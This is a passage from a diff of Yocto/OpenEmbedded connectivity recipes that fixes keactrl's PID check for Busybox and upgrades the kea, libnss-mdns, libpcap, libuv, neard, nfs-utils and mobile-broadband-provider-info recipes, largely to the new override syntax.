+From: Armin kuster <akuster808@gmail.com>
+Date: Wed, 14 Oct 2020 22:48:31 -0700
+Subject: [PATCH] Busybox does not support ps -p so use pgrep
Upstream-Status: Inappropriate [embedded specific]
Based on changes from Diego Sueiro <Diego.Sueiro@arm.com>
Signed-off-by: Armin kuster <akuster808@gmail.com>
-Index: kea-1.7.10/src/bin/keactrl/keactrl.in
-===================================================================
---- kea-1.7.10.orig/src/bin/keactrl/keactrl.in
-+++ kea-1.7.10/src/bin/keactrl/keactrl.in
-@@ -137,8 +137,8 @@ check_running() {
+---
+ src/bin/keactrl/keactrl.in | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/bin/keactrl/keactrl.in b/src/bin/keactrl/keactrl.in
+index ae5bd8e..e9f9b73 100644
+--- a/src/bin/keactrl/keactrl.in
++++ b/src/bin/keactrl/keactrl.in
+@@ -151,8 +151,8 @@ check_running() {
# Get the PID from the PID file (if it exists)
get_pid_from_file "${proc_name}"
if [ ${_pid} -gt 0 ]; then
- # Use ps to check if PID is alive
-- ps -p ${_pid} 1>/dev/null
+- if ps -p ${_pid} 1>/dev/null; then
+ # Use pgrep and grep to check if PID is alive
-+ pgrep -v 1 | grep ${_pid} 1>/dev/null
- retcode=$?
- if [ $retcode -eq 0 ]; then
++ if pgrep -v 1 | grep ${_pid} 1>/dev/null; then
# No error, so PID IS ALIVE
+ _running=1
+ fi
diff --git a/meta/recipes-connectivity/kea/kea_1.7.10.bb b/meta/recipes-connectivity/kea/kea_1.7.10.bb
deleted file mode 100644
index 1d011ace78..0000000000
--- a/meta/recipes-connectivity/kea/kea_1.7.10.bb
+++ /dev/null
@@ -1,73 +0,0 @@
-SUMMARY = "ISC Kea DHCP Server"
-DESCRIPTION = "Kea is the next generation of DHCP software developed by ISC. It supports both DHCPv4 and DHCPv6 protocols along with their extensions, e.g. prefix delegation and dynamic updates to DNS."
-HOMEPAGE = "http://kea.isc.org"
-SECTION = "connectivity"
-LICENSE = "MPL-2.0 & Apache-2.0"
-LIC_FILES_CHKSUM = "file://COPYING;md5=68d95543d2096459290a4e6b9ceccffa"
-
-DEPENDS = "boost log4cplus openssl"
-
-SRC_URI = "\
- http://ftp.isc.org/isc/kea/${PV}/${BP}.tar.gz \
- file://0001-keactrl.in-create-var-lib-kea-and-var-run-kea-folder.patch \
- file://kea-dhcp4.service \
- file://kea-dhcp6.service \
- file://kea-dhcp-ddns.service \
- file://kea-dhcp4-server \
- file://kea-dhcp6-server \
- file://kea-dhcp-ddns-server \
- file://fix-multilib-conflict.patch \
- file://fix_pid_keactrl.patch \
-"
-SRC_URI[sha256sum] = "4e121f0e58b175a827581c69cb1d60778647049fa47f142940dddc9ce58f3c82"
-
-inherit autotools systemd update-rc.d upstream-version-is-even
-
-INITSCRIPT_NAME = "kea-dhcp4-server"
-INITSCRIPT_PARAMS = "defaults 30"
-
-SYSTEMD_SERVICE_${PN} = "kea-dhcp4.service kea-dhcp6.service kea-dhcp-ddns.service"
-SYSTEMD_AUTO_ENABLE = "disable"
-
-DEBUG_OPTIMIZATION_remove_mips = " -Og"
-DEBUG_OPTIMIZATION_append_mips = " -O"
-BUILD_OPTIMIZATION_remove_mips = " -Og"
-BUILD_OPTIMIZATION_append_mips = " -O"
-
-DEBUG_OPTIMIZATION_remove_mipsel = " -Og"
-DEBUG_OPTIMIZATION_append_mipsel = " -O"
-BUILD_OPTIMIZATION_remove_mipsel = " -Og"
-BUILD_OPTIMIZATION_append_mipsel = " -O"
-
-EXTRA_OECONF = "--with-boost-libs=-lboost_system \
- --with-log4cplus=${STAGING_DIR_TARGET}${prefix} \
- --with-openssl=${STAGING_DIR_TARGET}${prefix}"
-
-do_configure_prepend() {
- # replace abs_top_builddir to avoid introducing the build path
- # don't expand the abs_top_builddir on the target as the abs_top_builddir is meanlingless on the target
- find ${S} -type f -name *.sh.in | xargs sed -i "s:@abs_top_builddir@:@abs_top_builddir_placeholder@:g"
- sed -i "s:@abs_top_srcdir@:@abs_top_srcdir_placeholder@:g" ${S}/src/bin/admin/kea-admin.in
-}
-
-do_install_append() {
- install -d ${D}${sysconfdir}/init.d
- install -d ${D}${systemd_system_unitdir}
-
- install -m 0644 ${WORKDIR}/kea-dhcp*service ${D}${systemd_system_unitdir}
- install -m 0755 ${WORKDIR}/kea-*-server ${D}${sysconfdir}/init.d
- sed -i -e 's,@SBINDIR@,${sbindir},g' -e 's,@BASE_BINDIR@,${base_bindir},g' \
- -e 's,@LOCALSTATEDIR@,${localstatedir},g' -e 's,@SYSCONFDIR@,${sysconfdir},g' \
- ${D}${systemd_system_unitdir}/kea-dhcp*service ${D}${sbindir}/keactrl
-}
-
-do_install_append() {
- rm -rf "${D}${localstatedir}"
-}
-
-CONFFILES_${PN} = "${sysconfdir}/kea/keactrl.conf"
-
-FILES_${PN}-staticdev += "${libdir}/kea/hooks/*.a ${libdir}/hooks/*.a"
-FILES_${PN} += "${libdir}/hooks/*.so"
-
-PARALLEL_MAKEINST = ""
diff --git a/meta/recipes-connectivity/kea/kea_2.0.0.bb b/meta/recipes-connectivity/kea/kea_2.0.0.bb
new file mode 100644
index 0000000000..9f33c325bd
--- /dev/null
+++ b/meta/recipes-connectivity/kea/kea_2.0.0.bb
@@ -0,0 +1,77 @@
+SUMMARY = "ISC Kea DHCP Server"
+DESCRIPTION = "Kea is the next generation of DHCP software developed by ISC. It supports both DHCPv4 and DHCPv6 protocols along with their extensions, e.g. prefix delegation and dynamic updates to DNS."
+HOMEPAGE = "http://kea.isc.org"
+SECTION = "connectivity"
+LICENSE = "MPL-2.0 & Apache-2.0"
+LIC_FILES_CHKSUM = "file://COPYING;md5=07b7477a1d815a4aacab73b1531f577a"
+
+DEPENDS = "boost log4cplus openssl"
+
+SRC_URI = "http://ftp.isc.org/isc/kea/${PV}/${BP}.tar.gz \
+ file://kea-dhcp4.service \
+ file://kea-dhcp6.service \
+ file://kea-dhcp-ddns.service \
+ file://kea-dhcp4-server \
+ file://kea-dhcp6-server \
+ file://kea-dhcp-ddns-server \
+ file://fix-multilib-conflict.patch \
+ file://fix_pid_keactrl.patch \
+ file://0001-src-lib-log-logger_unittest_support.cc-do-not-write-.patch \
+ "
+SRC_URI[sha256sum] = "05854e0c3871b452edace18eccc6ab618940e0249fbe7c232a36d06ae59bf41d"
+
+inherit autotools systemd update-rc.d upstream-version-is-even
+
+INITSCRIPT_NAME = "kea-dhcp4-server"
+INITSCRIPT_PARAMS = "defaults 30"
+
+SYSTEMD_SERVICE:${PN} = "kea-dhcp4.service kea-dhcp6.service kea-dhcp-ddns.service"
+SYSTEMD_AUTO_ENABLE = "disable"
+
+DEBUG_OPTIMIZATION:remove:mips = " -Og"
+DEBUG_OPTIMIZATION:append:mips = " -O"
+BUILD_OPTIMIZATION:remove:mips = " -Og"
+BUILD_OPTIMIZATION:append:mips = " -O"
+
+DEBUG_OPTIMIZATION:remove:mipsel = " -Og"
+DEBUG_OPTIMIZATION:append:mipsel = " -O"
+BUILD_OPTIMIZATION:remove:mipsel = " -Og"
+BUILD_OPTIMIZATION:append:mipsel = " -O"
+
+EXTRA_OECONF = "--with-boost-libs=-lboost_system \
+ --with-log4cplus=${STAGING_DIR_TARGET}${prefix} \
+ --with-openssl=${STAGING_DIR_TARGET}${prefix}"
+
+do_configure:prepend() {
+ # replace abs_top_builddir to avoid introducing the build path
+ # don't expand the abs_top_builddir on the target as the abs_top_builddir is meanlingless on the target
+ find ${S} -type f -name *.sh.in | xargs sed -i "s:@abs_top_builddir@:@abs_top_builddir_placeholder@:g"
+ sed -i "s:@abs_top_srcdir@:@abs_top_srcdir_placeholder@:g" ${S}/src/bin/admin/kea-admin.in
+}
+
+# patch out build host paths for reproducibility
+do_compile:prepend:class-target() {
+ sed -i -e "s,${WORKDIR},,g" ${B}/config.report
+}
+
+do_install:append() {
+ install -d ${D}${sysconfdir}/init.d
+ install -d ${D}${systemd_system_unitdir}
+
+ install -m 0644 ${WORKDIR}/kea-dhcp*service ${D}${systemd_system_unitdir}
+ install -m 0755 ${WORKDIR}/kea-*-server ${D}${sysconfdir}/init.d
+ sed -i -e 's,@SBINDIR@,${sbindir},g' -e 's,@BASE_BINDIR@,${base_bindir},g' \
+ -e 's,@LOCALSTATEDIR@,${localstatedir},g' -e 's,@SYSCONFDIR@,${sysconfdir},g' \
+ ${D}${systemd_system_unitdir}/kea-dhcp*service ${D}${sbindir}/keactrl
+}
+
+do_install:append() {
+ rm -rf "${D}${localstatedir}"
+}
+
+CONFFILES:${PN} = "${sysconfdir}/kea/keactrl.conf"
+
+FILES:${PN}-staticdev += "${libdir}/kea/hooks/*.a ${libdir}/hooks/*.a"
+FILES:${PN} += "${libdir}/hooks/*.so"
+
+PARALLEL_MAKEINST = ""
diff --git a/meta/recipes-connectivity/libnss-mdns/libnss-mdns_0.14.1.bb b/meta/recipes-connectivity/libnss-mdns/libnss-mdns_0.14.1.bb
deleted file mode 100644
index 5e4460045b..0000000000
--- a/meta/recipes-connectivity/libnss-mdns/libnss-mdns_0.14.1.bb
+++ /dev/null
@@ -1,38 +0,0 @@
-SUMMARY = "Name Service Switch module for Multicast DNS (zeroconf) name resolution"
-HOMEPAGE = "https://github.com/lathiat/nss-mdns"
-SECTION = "libs"
-
-LICENSE = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=2d5025d4aa3495befef8f17206a5b0a1"
-
-DEPENDS = "avahi"
-
-SRC_URI = "git://github.com/lathiat/nss-mdns \
- "
-
-SRCREV = "41c9c5e78f287ed4b41ac438c1873fa71bfa70ae"
-
-S = "${WORKDIR}/git"
-
-inherit autotools pkgconfig
-
-COMPATIBLE_HOST_libc-musl = 'null'
-
-EXTRA_OECONF = "--libdir=${base_libdir}"
-
-RDEPENDS_${PN} = "avahi-daemon"
-
-pkg_postinst_${PN} () {
- sed '
- /^hosts:/ !b
- /\<mdns\(4\|6\)\?\(_minimal\)\?\>/ b
- s/\([[:blank:]]\+\)dns\>/\1mdns4_minimal [NOTFOUND=return] dns/g
- ' -i $D${sysconfdir}/nsswitch.conf
-}
-
-pkg_prerm_${PN} () {
- sed '
- /^hosts:/ !b
- s/[[:blank:]]\+mdns\(4\|6\)\?\(_minimal\( \[NOTFOUND=return\]\)\?\)\?//g
- ' -i $D${sysconfdir}/nsswitch.conf
-}
diff --git a/meta/recipes-connectivity/libnss-mdns/libnss-mdns_0.15.1.bb b/meta/recipes-connectivity/libnss-mdns/libnss-mdns_0.15.1.bb
new file mode 100644
index 0000000000..f5c87f7291
--- /dev/null
+++ b/meta/recipes-connectivity/libnss-mdns/libnss-mdns_0.15.1.bb
@@ -0,0 +1,39 @@
+SUMMARY = "Name Service Switch module for Multicast DNS (zeroconf) name resolution"
+HOMEPAGE = "https://github.com/lathiat/nss-mdns"
+DESCRIPTION = "nss-mdns is a plugin for the GNU Name Service Switch (NSS) functionality of the GNU C Library (glibc) providing host name resolution via Multicast DNS (aka Zeroconf, aka Apple Rendezvous, aka Apple Bonjour), effectively allowing name resolution by common Unix/Linux programs in the ad-hoc mDNS domain .local."
+SECTION = "libs"
+
+LICENSE = "LGPLv2.1+"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=2d5025d4aa3495befef8f17206a5b0a1"
+
+DEPENDS = "avahi"
+
+SRC_URI = "git://github.com/lathiat/nss-mdns;branch=master;protocol=https \
+ "
+
+SRCREV = "4b3cfe818bf72d99a02b8ca8b8813cb2d6b40633"
+
+S = "${WORKDIR}/git"
+
+inherit autotools pkgconfig
+
+COMPATIBLE_HOST:libc-musl = 'null'
+
+EXTRA_OECONF = "--libdir=${base_libdir}"
+
+RDEPENDS:${PN} = "avahi-daemon"
+
+pkg_postinst:${PN} () {
+ sed '
+ /^hosts:/ !b
+ /\<mdns\(4\|6\)\?\(_minimal\)\?\>/ b
+ s/\([[:blank:]]\+\)dns\>/\1mdns4_minimal [NOTFOUND=return] dns/g
+ ' -i $D${sysconfdir}/nsswitch.conf
+}
+
+pkg_prerm:${PN} () {
+ sed '
+ /^hosts:/ !b
+ s/[[:blank:]]\+mdns\(4\|6\)\?\(_minimal\( \[NOTFOUND=return\]\)\?\)\?//g
+ ' -i $D${sysconfdir}/nsswitch.conf
+}
diff --git a/meta/recipes-connectivity/libpcap/libpcap_1.10.1.bb b/meta/recipes-connectivity/libpcap/libpcap_1.10.1.bb
new file mode 100644
index 0000000000..9a8c46e0ef
--- /dev/null
+++ b/meta/recipes-connectivity/libpcap/libpcap_1.10.1.bb
@@ -0,0 +1,42 @@
+SUMMARY = "Interface for user-level network packet capture"
+DESCRIPTION = "Libpcap provides a portable framework for low-level network \
+monitoring. Libpcap can provide network statistics collection, \
+security monitoring and network debugging."
+HOMEPAGE = "http://www.tcpdump.org/"
+BUGTRACKER = "http://sourceforge.net/tracker/?group_id=53067&atid=469577"
+SECTION = "libs/network"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=5eb289217c160e2920d2e35bddc36453 \
+ file://pcap.h;beginline=1;endline=32;md5=39af3510e011f34b8872f120b1dc31d2"
+DEPENDS = "flex-native bison-native"
+
+SRC_URI = "https://www.tcpdump.org/release/${BP}.tar.gz"
+SRC_URI[sha256sum] = "ed285f4accaf05344f90975757b3dbfe772ba41d1c401c2648b7fa45b711bdd4"
+
+inherit autotools binconfig-disabled pkgconfig
+
+BINCONFIG = "${bindir}/pcap-config"
+
+# Explicitly disable dag support. We don't have recipe for it and if enabled here,
+# configure script poisons the include dirs with /usr/local/include even when the
+# support hasn't been detected.
+EXTRA_OECONF = " \
+ --with-pcap=linux \
+ --without-dag \
+ "
+EXTRA_AUTORECONF += "--exclude=aclocal"
+
+PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez5', '', d)} \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
+"
+PACKAGECONFIG[bluez5] = "--enable-bluetooth,--disable-bluetooth,bluez5"
+PACKAGECONFIG[dbus] = "--enable-dbus,--disable-dbus,dbus"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
+PACKAGECONFIG[libnl] = "--with-libnl,--without-libnl,libnl"
+
+do_configure:prepend () {
+ #remove hardcoded references to /usr/include
+ sed 's|\([ "^'\''I]\+\)/usr/include/|\1${STAGING_INCDIR}/|g' -i ${S}/configure.ac
+}
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-connectivity/libpcap/libpcap_1.9.1.bb b/meta/recipes-connectivity/libpcap/libpcap_1.9.1.bb
deleted file mode 100644
index 35bb5650b3..0000000000
--- a/meta/recipes-connectivity/libpcap/libpcap_1.9.1.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-SUMMARY = "Interface for user-level network packet capture"
-DESCRIPTION = "Libpcap provides a portable framework for low-level network \
-monitoring. Libpcap can provide network statistics collection, \
-security monitoring and network debugging."
-HOMEPAGE = "http://www.tcpdump.org/"
-BUGTRACKER = "http://sourceforge.net/tracker/?group_id=53067&atid=469577"
-SECTION = "libs/network"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=5eb289217c160e2920d2e35bddc36453 \
- file://pcap.h;beginline=1;endline=32;md5=39af3510e011f34b8872f120b1dc31d2"
-DEPENDS = "flex-native bison-native"
-
-SRC_URI = "https://www.tcpdump.org/release/${BP}.tar.gz \
- "
-SRC_URI[md5sum] = "21af603d9a591c7d96a6457021d84e6c"
-SRC_URI[sha256sum] = "635237637c5b619bcceba91900666b64d56ecb7be63f298f601ec786ce087094"
-
-inherit autotools binconfig-disabled pkgconfig
-
-BINCONFIG = "${bindir}/pcap-config"
-
-# Explicitly disable dag support. We don't have recipe for it and if enabled here,
-# configure script poisons the include dirs with /usr/local/include even when the
-# support hasn't been detected.
-EXTRA_OECONF = " \
- --with-pcap=linux \
- --without-dag \
- "
-EXTRA_AUTORECONF += "--exclude=aclocal"
-
-PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez5', '', d)} \
- ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
-"
-PACKAGECONFIG[bluez5] = "--enable-bluetooth,--disable-bluetooth,bluez5"
-PACKAGECONFIG[dbus] = "--enable-dbus,--disable-dbus,dbus"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
-PACKAGECONFIG[libnl] = "--with-libnl,--without-libnl,libnl"
-
-do_configure_prepend () {
- #remove hardcoded references to /usr/include
- sed 's|\([ "^'\''I]\+\)/usr/include/|\1${STAGING_INCDIR}/|g' -i ${S}/configure.ac
-}
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-connectivity/libuv/libuv_1.40.0.bb b/meta/recipes-connectivity/libuv/libuv_1.40.0.bb
deleted file mode 100644
index f793db09be..0000000000
--- a/meta/recipes-connectivity/libuv/libuv_1.40.0.bb
+++ /dev/null
@@ -1,19 +0,0 @@
-SUMMARY = "A multi-platform support library with a focus on asynchronous I/O"
-HOMEPAGE = "https://github.com/libuv/libuv"
-BUGTRACKER = "https://github.com/libuv/libuv/issues"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=a68902a430e32200263d182d44924d47"
-
-SRCREV = "4e69e333252693bd82d6338d6124f0416538dbfc"
-SRC_URI = "git://github.com/libuv/libuv;branch=v1.x"
-
-S = "${WORKDIR}/git"
-
-inherit autotools
-
-do_configure() {
- ${S}/autogen.sh || bbnote "${PN} failed to autogen.sh"
- oe_runconf
-}
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-connectivity/libuv/libuv_1.42.0.bb b/meta/recipes-connectivity/libuv/libuv_1.42.0.bb
new file mode 100644
index 0000000000..2dfbb8b895
--- /dev/null
+++ b/meta/recipes-connectivity/libuv/libuv_1.42.0.bb
@@ -0,0 +1,20 @@
+SUMMARY = "A multi-platform support library with a focus on asynchronous I/O"
+HOMEPAGE = "https://github.com/libuv/libuv"
+DESCRIPTION = "libuv is a multi-platform support library with a focus on asynchronous I/O. It was primarily developed for use by Node.js, but it's also used by Luvit, Julia, pyuv, and others."
+BUGTRACKER = "https://github.com/libuv/libuv/issues"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=a68902a430e32200263d182d44924d47"
+
+SRCREV = "6ce14710da7079eb248868171f6343bc409ea3a4"
+SRC_URI = "git://github.com/libuv/libuv;branch=v1.x;protocol=https"
+
+S = "${WORKDIR}/git"
+
+inherit autotools
+
+do_configure() {
+ ${S}/autogen.sh || bbnote "${PN} failed to autogen.sh"
+ oe_runconf
+}
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-connectivity/mobile-broadband-provider-info/mobile-broadband-provider-info_git.bb b/meta/recipes-connectivity/mobile-broadband-provider-info/mobile-broadband-provider-info_git.bb
index 0b0bbab168..4246f4dcbd 100644
--- a/meta/recipes-connectivity/mobile-broadband-provider-info/mobile-broadband-provider-info_git.bb
+++ b/meta/recipes-connectivity/mobile-broadband-provider-info/mobile-broadband-provider-info_git.bb
@@ -1,13 +1,14 @@
SUMMARY = "Mobile Broadband Service Provider Database"
HOMEPAGE = "http://live.gnome.org/NetworkManager/MobileBroadband/ServiceProviders"
+DESCRIPTION = "Mobile Broadband Service Provider Database stores service provider specific information. When this Database is available the information can be fetched there"
SECTION = "network"
LICENSE = "PD"
LIC_FILES_CHKSUM = "file://COPYING;md5=87964579b2a8ece4bc6744d2dc9a8b04"
-SRCREV = "22b49d86fb7aded2c195a9d49e5924da696b3228"
-PV = "20190618"
+SRCREV = "11f2247eccd3c161b8fd9b41143862e9fb81193c"
+PV = "20210805"
PE = "1"
-SRC_URI = "git://gitlab.gnome.org/GNOME/mobile-broadband-provider-info.git;protocol=https"
+SRC_URI = "git://gitlab.gnome.org/GNOME/mobile-broadband-provider-info.git;protocol=https;branch=master"
S = "${WORKDIR}/git"
inherit autotools
diff --git a/meta/recipes-connectivity/neard/neard_0.16.bb b/meta/recipes-connectivity/neard/neard_0.16.bb
index 7c124a3c0b..b6cc1d6ced 100644
--- a/meta/recipes-connectivity/neard/neard_0.16.bb
+++ b/meta/recipes-connectivity/neard/neard_0.16.bb
@@ -22,12 +22,12 @@ inherit autotools pkgconfig systemd update-rc.d
PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
-PACKAGECONFIG[systemd] = "--enable-systemd --with-systemdsystemunitdir=${systemd_unitdir}/system/ --with-systemduserunitdir=${systemd_unitdir}/user/,--disable-systemd"
+PACKAGECONFIG[systemd] = "--enable-systemd --with-systemdsystemunitdir=${systemd_system_unitdir}/ --with-systemduserunitdir=${systemd_unitdir}/user/,--disable-systemd"
EXTRA_OECONF += "--enable-tools"
# This would copy neard start-stop shell and test scripts
-do_install_append() {
+do_install:append() {
if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
install -d ${D}${sysconfdir}/init.d/
sed "s:@installpath@:${libexecdir}/nfc:" ${WORKDIR}/neard.in \
@@ -36,10 +36,10 @@ do_install_append() {
fi
}
-RDEPENDS_${PN} = "dbus"
+RDEPENDS:${PN} = "dbus"
# Bluez & Wifi are not mandatory except for handover
-RRECOMMENDS_${PN} = "\
+RRECOMMENDS:${PN} = "\
${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez5', '', d)} \
${@bb.utils.contains('DISTRO_FEATURES', 'wifi','wpa-supplicant', '', d)} \
"
@@ -47,4 +47,4 @@ RRECOMMENDS_${PN} = "\
INITSCRIPT_NAME = "neard"
INITSCRIPT_PARAMS = "defaults 64"
-SYSTEMD_SERVICE_${PN} = "neard.service"
+SYSTEMD_SERVICE:${PN} = "neard.service"
diff --git a/meta/recipes-connectivity/nfs-utils/nfs-utils/0001-Makefile.am-fix-undefined-function-for-libnsm.a.patch b/meta/recipes-connectivity/nfs-utils/nfs-utils/0001-Makefile.am-fix-undefined-function-for-libnsm.a.patch
index bd350144e3..7603eb680d 100644
--- a/meta/recipes-connectivity/nfs-utils/nfs-utils/0001-Makefile.am-fix-undefined-function-for-libnsm.a.patch
+++ b/meta/recipes-connectivity/nfs-utils/nfs-utils/0001-Makefile.am-fix-undefined-function-for-libnsm.a.patch
@@ -19,7 +19,7 @@ As there is already one source file named file.c
as support/nsm/file.c in support/nsm/Makefile.am,
so rename ../support/misc/file.c to ../support/misc/misc.c.
-Upstream-Status: Submitted[https://marc.info/?l=linux-nfs&m=154502780423058&w=2]
+Upstream-Status: Submitted [https://marc.info/?l=linux-nfs&m=154502780423058&w=2]
Signed-off-by: Mingli Yu <Mingli.Yu@windriver.com>
diff --git a/meta/recipes-connectivity/nfs-utils/nfs-utils_2.5.2.bb b/meta/recipes-connectivity/nfs-utils/nfs-utils_2.5.2.bb
deleted file mode 100644
index c7ac67cf31..0000000000
--- a/meta/recipes-connectivity/nfs-utils/nfs-utils_2.5.2.bb
+++ /dev/null
@@ -1,145 +0,0 @@
-SUMMARY = "userspace utilities for kernel nfs"
-DESCRIPTION = "The nfs-utils package provides a daemon for the kernel \
-NFS server and related tools."
-HOMEPAGE = "http://nfs.sourceforge.net/"
-SECTION = "console/network"
-
-LICENSE = "MIT & GPLv2+ & BSD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=95f3a93a5c3c7888de623b46ea085a84"
-
-# util-linux for libblkid
-DEPENDS = "libcap libevent util-linux sqlite3 libtirpc"
-RDEPENDS_${PN} = "${PN}-client"
-RRECOMMENDS_${PN} = "kernel-module-nfsd"
-
-inherit useradd
-
-USERADD_PACKAGES = "${PN}-client"
-USERADD_PARAM_${PN}-client = "--system --home-dir /var/lib/nfs \
- --shell /bin/false --user-group rpcuser"
-
-SRC_URI = "${KERNELORG_MIRROR}/linux/utils/nfs-utils/${PV}/nfs-utils-${PV}.tar.xz \
- file://nfsserver \
- file://nfscommon \
- file://nfs-utils.conf \
- file://nfs-server.service \
- file://nfs-mountd.service \
- file://nfs-statd.service \
- file://proc-fs-nfsd.mount \
- file://nfs-utils-debianize-start-statd.patch \
- file://bugfix-adjust-statd-service-name.patch \
- file://0001-Makefile.am-fix-undefined-function-for-libnsm.a.patch \
- file://clang-warnings.patch \
- "
-SRC_URI[sha256sum] = "d493b81c9d3ffce5d10af701a63ed2b8a21768c23da4a2eceb4d708aea65d9de"
-
-# Only kernel-module-nfsd is required here (but can be built-in) - the nfsd module will
-# pull in the remainder of the dependencies.
-
-INITSCRIPT_PACKAGES = "${PN} ${PN}-client"
-INITSCRIPT_NAME = "nfsserver"
-INITSCRIPT_PARAMS = "defaults"
-INITSCRIPT_NAME_${PN}-client = "nfscommon"
-INITSCRIPT_PARAMS_${PN}-client = "defaults 19 21"
-
-inherit autotools-brokensep update-rc.d systemd pkgconfig
-
-SYSTEMD_PACKAGES = "${PN} ${PN}-client"
-SYSTEMD_SERVICE_${PN} = "nfs-server.service nfs-mountd.service"
-SYSTEMD_SERVICE_${PN}-client = "nfs-statd.service"
-
-# --enable-uuid is need for cross-compiling
-EXTRA_OECONF = "--with-statduser=rpcuser \
- --enable-mountconfig \
- --enable-libmount-mount \
- --enable-uuid \
- --disable-gss \
- --disable-nfsdcltrack \
- --with-statdpath=/var/lib/nfs/statd \
- --with-rpcgen=${HOSTTOOLS_DIR}/rpcgen \
- "
-
-PACKAGECONFIG ??= "tcp-wrappers \
- ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
-"
-PACKAGECONFIG_remove_libc-musl = "tcp-wrappers"
-PACKAGECONFIG[tcp-wrappers] = "--with-tcp-wrappers,--without-tcp-wrappers,tcp-wrappers"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
-# libdevmapper is available in meta-oe
-PACKAGECONFIG[nfsv41] = "--enable-nfsv41,--disable-nfsv41,libdevmapper,libdevmapper"
-# keyutils is available in meta-oe
-PACKAGECONFIG[nfsv4] = "--enable-nfsv4,--disable-nfsv4,keyutils,python3-core"
-
-PACKAGES =+ "${PN}-client ${PN}-mount ${PN}-stats"
-
-CONFFILES_${PN}-client += "${localstatedir}/lib/nfs/etab \
- ${localstatedir}/lib/nfs/rmtab \
- ${localstatedir}/lib/nfs/xtab \
- ${localstatedir}/lib/nfs/statd/state \
- ${sysconfdir}/nfsmount.conf"
-
-FILES_${PN}-client = "${sbindir}/*statd \
- ${sbindir}/rpc.idmapd ${sbindir}/sm-notify \
- ${sbindir}/showmount ${sbindir}/nfsstat \
- ${localstatedir}/lib/nfs \
- ${sysconfdir}/nfs-utils.conf \
- ${sysconfdir}/nfsmount.conf \
- ${sysconfdir}/init.d/nfscommon \
- ${systemd_unitdir}/system/nfs-statd.service"
-RDEPENDS_${PN}-client = "${PN}-mount rpcbind"
-
-FILES_${PN}-mount = "${base_sbindir}/*mount.nfs*"
-
-FILES_${PN}-stats = "${sbindir}/mountstats ${sbindir}/nfsiostat ${sbindir}/nfsdclnts"
-RDEPENDS_${PN}-stats = "python3-core"
-
-FILES_${PN}-staticdev += "${libdir}/libnfsidmap/*.a"
-
-FILES_${PN} += "${systemd_unitdir} ${libdir}/libnfsidmap/"
-
-do_configure_prepend() {
- sed -i -e 's,sbindir = /sbin,sbindir = ${base_sbindir},g' \
- ${S}/utils/mount/Makefile.am
-}
-
-# Make clean needed because the package comes with
-# precompiled 64-bit objects that break the build
-do_compile_prepend() {
- make clean
-}
-
-# Works on systemd only
-HIGH_RLIMIT_NOFILE ??= "4096"
-
-do_install_append () {
- install -d ${D}${sysconfdir}/init.d
- install -m 0755 ${WORKDIR}/nfsserver ${D}${sysconfdir}/init.d/nfsserver
- install -m 0755 ${WORKDIR}/nfscommon ${D}${sysconfdir}/init.d/nfscommon
-
- install -m 0755 ${WORKDIR}/nfs-utils.conf ${D}${sysconfdir}
- install -m 0755 ${S}/utils/mount/nfsmount.conf ${D}${sysconfdir}
-
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/nfs-server.service ${D}${systemd_unitdir}/system/
- install -m 0644 ${WORKDIR}/nfs-mountd.service ${D}${systemd_unitdir}/system/
- install -m 0644 ${WORKDIR}/nfs-statd.service ${D}${systemd_unitdir}/system/
- sed -i -e 's,@SBINDIR@,${sbindir},g' \
- -e 's,@SYSCONFDIR@,${sysconfdir},g' \
- -e 's,@HIGH_RLIMIT_NOFILE@,${HIGH_RLIMIT_NOFILE},g' \
- ${D}${systemd_unitdir}/system/*.service
- if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
- install -m 0644 ${WORKDIR}/proc-fs-nfsd.mount ${D}${systemd_unitdir}/system/
- install -d ${D}${systemd_unitdir}/system/sysinit.target.wants/
- ln -sf ../proc-fs-nfsd.mount ${D}${systemd_unitdir}/system/sysinit.target.wants/proc-fs-nfsd.mount
- fi
-
- # kernel code as of 3.8 hard-codes this path as a default
- install -d ${D}/var/lib/nfs/v4recovery
-
- # chown the directories and files
- chown -R rpcuser:rpcuser ${D}${localstatedir}/lib/nfs/statd
- chmod 0644 ${D}${localstatedir}/lib/nfs/statd/state
-
- # Make python tools use python 3
- sed -i -e '1s,#!.*python.*,#!${bindir}/python3,' ${D}${sbindir}/mountstats ${D}${sbindir}/nfsiostat
-}
diff --git a/meta/recipes-connectivity/nfs-utils/nfs-utils_2.5.4.bb b/meta/recipes-connectivity/nfs-utils/nfs-utils_2.5.4.bb
new file mode 100644
index 0000000000..459f68f05e
--- /dev/null
+++ b/meta/recipes-connectivity/nfs-utils/nfs-utils_2.5.4.bb
@@ -0,0 +1,145 @@
+SUMMARY = "userspace utilities for kernel nfs"
+DESCRIPTION = "The nfs-utils package provides a daemon for the kernel \
